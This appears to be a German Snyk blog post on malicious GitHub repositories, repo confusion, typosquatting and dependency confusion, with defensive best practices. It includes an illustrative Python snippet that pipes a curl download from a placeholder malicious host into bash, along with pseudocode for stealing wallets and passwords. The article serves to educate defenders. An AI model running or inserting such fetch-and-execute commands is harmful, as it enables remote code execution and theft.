GitHub „belagert“ von Malware-Repositories und Repo-Verwechslungen: Warum Sie unbesorgt sein können

Mit der Weiterentwicklung der Open-Source-Softwareentwicklung steigt auch ihre Anfälligkeit für Cyberbedrohungen. Ein Beispiel dafür ist die jüngste Entdeckung von Malware-Repositories auf GitHub. Bei diesem Cyberangriff gelang es den Angreifern, bösartigen Code auf GitHub hochzuladen – einer Plattform, auf der Millionen von Code-Repositories gehostet werden und die Entwickler weltweit nutzen.

Diese GitHub-Malware-Repositories bedrohen nicht nur einzelne Entwickler, sondern auch Unternehmen insgesamt. Werden die schädlichen Repositories geklont oder ihr Code in andere Projekte integriert, kann sich die Malware verbreiten und zu möglichen Datenschutzverletzungen oder Systemkompromittierungen führen. Über verwandte Bedrohungen wie Typosquatting und Dependency-Confusion-Angriffe haben wir bereits in früheren Snyk-Blogbeiträgen berichtet. Mit allgemein anerkannten Best Practices können Sie solche Gefahren vermeiden. Im Folgenden wiederholen wir diese Best Practices und stellen einige Snyk-Tools wie Snyk Advisor und Snyk Learn vor. Anschließend gehen wir näher auf diesen konkreten GitHub-Angriff ein. Es ist wichtig zu wissen, dass diese Art von Angriff nicht auf GitHub beschränkt ist. Jedes Quellcode-Repository-System, in dem Code offen geteilt und kopiert werden kann, könnte solchen schädlichen Code enthalten.

# Example of a potentially harmful code snippet in a repository
def malicious_function():
    import os
    os.system('curl https://malicious-website.com/malware_script.sh | bash')

Die oben gezeigte hypothetische Python-Funktion kann bei ihrer Ausführung einen Shell-Befehl aufrufen, um ein schädliches Skript von einem externen Server herunterzuladen und auszuführen. Das unterstreicht, wie wichtig es ist, Code aus externen Repositories sorgfältig zu prüfen.

So schützen Sie sich und Ihr Team vor Malware auf GitHub: Best Practices und Sicherheitsmaßnahmen

In einer Zeit, in der die Entwicklung von Open-Source-Software längst zum Standard geworden ist und GitHub-Repositories eine wahre Fundgrube für wiederverwendbaren Code darstellen, ist es immer wichtiger, auf eine gute Sicherheitshygiene bei dem von uns genutzten Code zu achten. In diesem Abschnitt geht es darum, wie wichtig es ist, Code-Repositories zu überprüfen und ihre Vertrauenswürdigkeit zu bestätigen, welche Gefahren das Klonen schädlicher Repositories birgt und wie Sicherheitsteams ihre Entwickler vorbereiten können.

Code-Repositories überprüfen

In der Softwareentwicklung ist die Überprüfung von Code-Repositories ein wichtiger Schritt, den Sie nicht unterschätzen sollten. Durch eine gründliche Prüfung können Entwickler vermeiden, potenziell schädlichen Code in ihre Projekte zu integrieren. GitHub hostet beispielsweise eine große Zahl von Repositories, und Malware, die als nützlicher Code getarnt ist, kommt dort durchaus vor.

Prüfen Sie den Code gründlich, bevor Sie ihn in Ihr Projekt integrieren. Dazu gehört, den Verlauf des Repositorys, seine Mitwirkenden und bestehende Probleme zu überprüfen. Bei Repositories mit nur einem Mitwirkenden, einem kurzen Verlauf oder ungelösten Sicherheitsproblemen ist Vorsicht geboten.

Für die Überprüfung von Open-Source-Bibliotheken und Softwarepaketen auf npm, PyPI, RubyGems und anderen Paketregistern empfiehlt sich das Webtool Snyk Advisor. Es liefert eine Bewertung des Zustands von Open-Source-Paketen und -Bibliotheken, einschließlich ihrer Sicherheitslage, ihres Wartungsstatus und ihrer Lizenzierung.

Leitlinien für Sicherheitsteams zur Vorbereitung ihrer Entwicklerteams

Sicherheitsteams spielen eine zentrale Rolle dabei, die Entwicklungsumgebung zu schützen. Hier sind einige Leitlinien für Sicherheitsteams:

1. Entwickler schulen: Veranstalten Sie regelmäßig Workshops oder Schulungen dazu, wie wichtig die Codeprüfung, die Überprüfung der Vertrauenswürdigkeit von Repositories und die Abwehr von Angriffen auf die Open-Source-Supply-Chain wie Typosquatting und Dependency Confusion sind.

2. Sicherheitstools einsetzen: Nutzen Sie Sicherheitstools, die Repositories automatisch auf bekannte Schwachstellen oder verdächtige Aktivitäten untersuchen können.

3. Sichere Programmierpraktiken etablieren: Fördern Sie sichere Programmierpraktiken im Team. Dazu gehören etwa Code-Reviews durch Kollegen, Linter mit Sicherheitsregeln und regelmäßige Audits.

4. Incident-Response-Plan: Legen Sie einen Incident-Response-Plan für den Fall fest, dass es durch ein schädliches Repository zu einem Sicherheitsvorfall kommt.

Wenn Sie diese Best Practices befolgen und auf gute Sicherheitshygiene achten, können Sie Ihren Softwareentwicklungsprozess vor Bedrohungen schützen, die in GitHub-Repositories lauern.

Repo-Verwechslungen verstehen

Der Begriff „Repo-Verwechslung“ bezeichnet eine Strategie, die Angreifer in diesem Zusammenhang einsetzen. Dabei erstellen sie Repositories mit Namen, die bestehenden, legitimen Projekten ähneln. Ziel ist es, Entwickler dazu zu verleiten, das falsche Repository zu verwenden, sodass sie unwissentlich den schädlichen Code herunterladen und ausführen.

Gibt es beispielsweise ein beliebtes Repository namens legitimate_repo, könnte ein Angreifer ein Repository mit dem Namen legitimate-repo oder legitimate_repo1 erstellen. Ahnungslose Entwickler könnten diese mit dem Original verwechseln und klonen, ohne zu wissen, dass sie in eine Falle tappen. Eine weitere gängige Variante, die auch bei den Vorfällen mit GitHub-Malware-Repositories zu beobachten war: Angreifer verwenden einen Fork eines beliebten Repositorys und veröffentlichen ihn als neues Repository.

Malware-Angriffe, Typosquatting und Dependency-Confusion-Angriffe

Repo-Verwechslungen stehen in engem Zusammenhang mit zwei weiteren Cyberbedrohungen: Typosquatting und Dependency-Confusion-Angriffen. Bei Typosquatting registrieren Angreifer Domainnamen, die beliebten Domains ähneln, oder veröffentlichen Pakete in Open-Source-Registern wie npm und PyPI. Sie hoffen darauf, Entwickler auszunutzen, die beim Aufrufen einer URL oder beim Installieren eines Pakets den Namen falsch eingeben. Im Zusammenhang mit GitHub kann das bedeuten, Repositories mit Namen zu erstellen, die beliebten Namen stark ähneln – sie unterscheiden sich nur durch ein einziges Zeichen oder liegen unter einem anderen Konto, während der Repository-Name mit dem eines beliebten Repositorys übereinstimmt.

Dependency-Confusion-Angriffe nutzen dagegen aus, wie Paketmanager mit Abhängigkeiten umgehen. Wenn ein Softwareprojekt von einem Paket abhängt, das nicht im öffentlichen, aber in einem privaten Paket-Repository verfügbar ist, kann ein Angreifer im öffentlichen Repository ein Paket mit demselben Namen erstellen. Der Paketmanager lädt dann möglicherweise das schädliche Paket statt des legitimen herunter.

// Example of a potentially dangerous package.json file
{
  "name": "legitimate-package",
  "version": "1.0.0",
  "description": "",
  "main": "index.js",
  "scripts": {
    "start": "node index.js"
  },
  "dependencies": {
    "private-package": "^1.0.0"
  }
}

Wenn im obigen Beispiel private-package nicht im öffentlichen npm-Register vorhanden ist, ein Angreifer dort aber eine schädliche Version veröffentlicht hat, kann die Ausführung von npm install dazu führen, dass das schädliche Paket heruntergeladen und installiert wird.

Der Angriff mit GitHub-Malware-Repositories stellt zusammen mit Repo-Verwechslungen, Typosquatting und Dependency-Confusion-Angriffen eine ernsthafte Bedrohung für die Sicherheit der Open-Source-Softwareentwicklung dar. Er zeigt, dass Entwickler bei der Verwendung von Code Dritter Vorsicht walten lassen und robuste Cybersicherheitsmaßnahmen einsetzen müssen.

Den Angriff mit GitHub-Malware-Repositories verstehen

Was ist beim Angriff mit den schädlichen GitHub-Repositories passiert? Sehen wir uns die Einzelheiten dieses GitHub-Vorfalls an, bei dem die Arbeitsstationen von Softwareentwicklern infiltriert wurden. Wir untersuchen, wie der Angriff ablief, welche Taktiken die Angreifer einsetzten und welcher Schaden entstehen könnte.

Der erste dokumentierte Fall dieses Angriffs lässt sich auf den 28. Februar 2024 zurückführen. Bei einem scheinbar harmlosen Vorgang erstellte ein anonymer Nutzer einen Fork eines beliebten Open-Source-Repositorys und veröffentlichte ihn als neues Repository. Doch schon bald stellte sich heraus, dass das neu veröffentlichte Repository nicht so harmlos war, wie es zunächst schien.

Die Täter hatten im Codebestand verschleierte Malware eingebettet und das Repository so zu einem Minenfeld aus schädlichem Code gemacht. Entwickler, die diese Repositories ahnungslos klonten oder forktеn, schleusten die Malware unwissentlich in ihre lokalen Systeme ein.

Vorgehensweise der Angreifer: Forks erstellen und mit Malware versehene Code-Repositories veröffentlichen

Die Angreifer gingen geschickt und unauffällig vor. Sie erstellten Forks bestehender Open-Source-Code-Repositories – eine gängige Praxis unter Entwicklern, die zu einem Open-Source-Projekt beitragen möchten. Anschließend fügten die Angreifer den Repositories jedoch verschleierten schädlichen Code hinzu.

Nachfolgend sehen Sie ein Beispiel dafür, wie ein Fork erstellt und als neues Repository angelegt wird:

git clone https://github.com/original/repo.git
cd repo
git remote rename origin upstream

Beim oben dargestellten normalen Fork-Prozess würde der Angreifer in diesem Schritt den schädlichen Code hinzufügen und das Repository anschließend wieder auf GitHub veröffentlichen.

git add .
git commit -m "Add new feature"
git push origin master

Die verschleierte Malware war so gestaltet, dass sie sich bei herkömmlichen Code-Reviews nur schwer erkennen ließ. Als der schädliche Code entdeckt wurde, hatte er bereits eine Reihe von Entwicklersystemen infiziert.

Möglicher Schaden: Kryptowährungen und Passwörter stehlen

Das Hauptziel der eingebetteten Malware bestand darin, sensible Informationen von infizierten Geräten zu stehlen. Insbesondere zielte sie auf Krypto-Wallets und Passwörter ab, die auf den Systemen der Entwickler gespeichert waren.

Sobald sich die Malware auf einem System befand, suchte sie nach bestimmten Dateien zu Krypto-Wallets wie Bitcoin und Ethereum und übermittelte diese an den Angreifer. Außerdem versuchte sie, Passwörter zu stehlen, die im Klartext oder in schwach verschlüsselter Form gespeichert waren.

Nachfolgend eine vereinfachte Pseudocode-Darstellung der Ziele der Malware:

def infiltrate_system():
    steal_files('*.wallet')
    steal_passwords()

def steal_files(file_pattern):
    # method to find and transmit wallet files

def steal_passwords():
    # method to find and transmit passwords

Der oben gezeigte Pseudocode vermittelt vereinfacht, was die Malware nach dem Eindringen in ein System tun könnte.

Der Angriff mit GitHub-Malware-Repositories führt eindrücklich vor Augen, wie wichtig strenge Sicherheitsmaßnahmen in der Softwareentwicklung sind und welche Gefahren in der Open-Source-Welt lauern können. Als Entwickler und Sicherheitsexperten müssen wir wachsam bleiben und Best Practices anwenden, um solche Angriffe zu verhindern.

Typosquatting und Dependency-Confusion-Angriffe: eng verwandte Bedrohungen

Im Zusammenhang mit den GitHub-Malware-Angriffen lernen wir zwei weitere verbreitete, aber gefährliche Cyberbedrohungen kennen: Typosquatting und Dependency-Confusion-Angriffe. Beide stehen in engem Zusammenhang mit dem kürzlich entdeckten Angriff über GitHub-Malware-Repositories. Um diesen Zusammenhang und die potenziellen Risiken genau zu verstehen, definieren wir zunächst die beiden Begriffe und betrachten anschließend Beispiele aus der Praxis, bei denen diese Angriffe erfolgreich ausgeführt wurden.

Definition von Typosquatting und Dependency-Confusion-Angriffen

Typosquatting im Zusammenhang mit Code-Repositories und Open-Source-Software ist eine Form des Cyberangriffs, bei der Entwickler ins Visier genommen werden, die beim Installieren von Paketen einen Bibliotheksnamen falsch eingeben. Zum Beispiel npm install riact-dom statt npm install react-dom. Die Angreifer erstellen schädliche Pakete mit Namen, die beliebten Paketen ähneln, und warten darauf, dass Entwickler sich vertippen. Installieren Entwickler diese schädlichen Pakete, können die Angreifer sensible Informationen stehlen oder Malware in das System der Entwickler einschleusen.

Ein Dependency-Confusion-Angriff hingegen ist eine Art Supply-Chain-Angriff, der auf Entwicklungsprozesse für Open-Source-Software abzielt. Dabei erstellt ein Hacker ein schädliches Paket mit demselben Namen wie ein privates Paket, das in der Entwicklungsumgebung eines Projekts verwendet wird. Ruft das Build-System des Projekts Abhängigkeiten ab, lädt es versehentlich das schädliche öffentliche Paket herunter, weil es dieses für das private Paket hält. So kann schädlicher Code in den Codebestand des Projekts gelangen und ihn infizieren.

# Malicious package with same name as private package
# This is a Python example, but the attack extends to other languages (Node.js, Ruby, etc.)
def malicious_function():
    # This function could do anything: steal data, corrupt files, etc.

Beispiele aus der Praxis für Typosquatting- und Dependency-Confusion-Angriffe

Eines der bekanntesten Beispiele für Typosquatting war der Angriff auf das offizielle Python-Paket-Repository PyPI im Jahr 2017. Angreifer luden schädliche Pakete mit Namen hoch, die beliebten Paketen stark ähnelten. Tausende Nutzer waren betroffen, weil sie diese Pakete versehentlich installierten.

Ein aktuelles Beispiel für einen Dependency-Confusion-Angriff entdeckte der Sicherheitsforscher Alex Birsan. Er nutzte diese Schwachstelle bei mehreren bekannten Unternehmen wie Apple, Microsoft und PayPal aus, indem er eigenen Code in deren interne Systeme einschleuste. Dazu erstellte er schädliche Pakete mit denselben Namen wie die privaten Pakete dieser Unternehmen und lud sie in öffentliche Paket-Repositories hoch. Als die Build-Systeme der Unternehmen die Pakete abriefen, verwendeten sie versehentlich Birsans schädliche Pakete. Dadurch konnte sein Code innerhalb ihrer Systeme ausgeführt werden.

Zusammenfassend stellen sowohl Typosquatting- als auch Dependency-Confusion-Angriffe eine erhebliche Bedrohung für die Entwicklung von Open-Source-Software dar. Entwickler und Unternehmen müssen sich dieser Angriffsvektoren bewusst sein und geeignete Maßnahmen zum Schutz ihrer Systeme und Codebasen ergreifen.

Fazit

Zusammenfassend haben wir uns mit dem Problem schädlicher Repositories auf GitHub und damit befasst, wie sie gängige Schwachstellen in der Open-Source-Sicherheit ausnutzen können. Dabei haben wir insbesondere erläutert, wie solche Repositories mit Taktiken wie Typosquatting und Dependency-Confusion-Angriffen unbemerkt in Systeme eindringen können.

Als Entwickler und Sicherheitsexperten sind wir die erste Verteidigungslinie gegen diese Arten von Cyberbedrohungen. Es ist wichtig, dass wir bewährte Methoden einhalten und auf eine gute Sicherheitshygiene achten, um unseren Code und unsere Systeme zu schützen.

Mit einigen wichtigen Maßnahmen können Sie sich wirksam vor diesen Bedrohungen schützen:

• Überprüfen Sie stets die Integrität von Repositories und Paketen, bevor Sie sie verwenden. Das kann so einfach sein wie die Überprüfung des Benutzernamens des Repository-Inhabers oder so aufwendig wie die Verifizierung der kryptografischen Signaturen der Pakete.

• Achten Sie beim Klonen von Repositories oder Installieren von Paketen auf Tippfehler.

• Verwenden Sie für interne Pakete private Paket-Feeds, um das Risiko von Dependency-Confusion-Angriffen zu verringern.

• Aktualisieren und patchen Sie Ihre Systeme regelmäßig, um sich vor bekannten Schwachstellen zu schützen.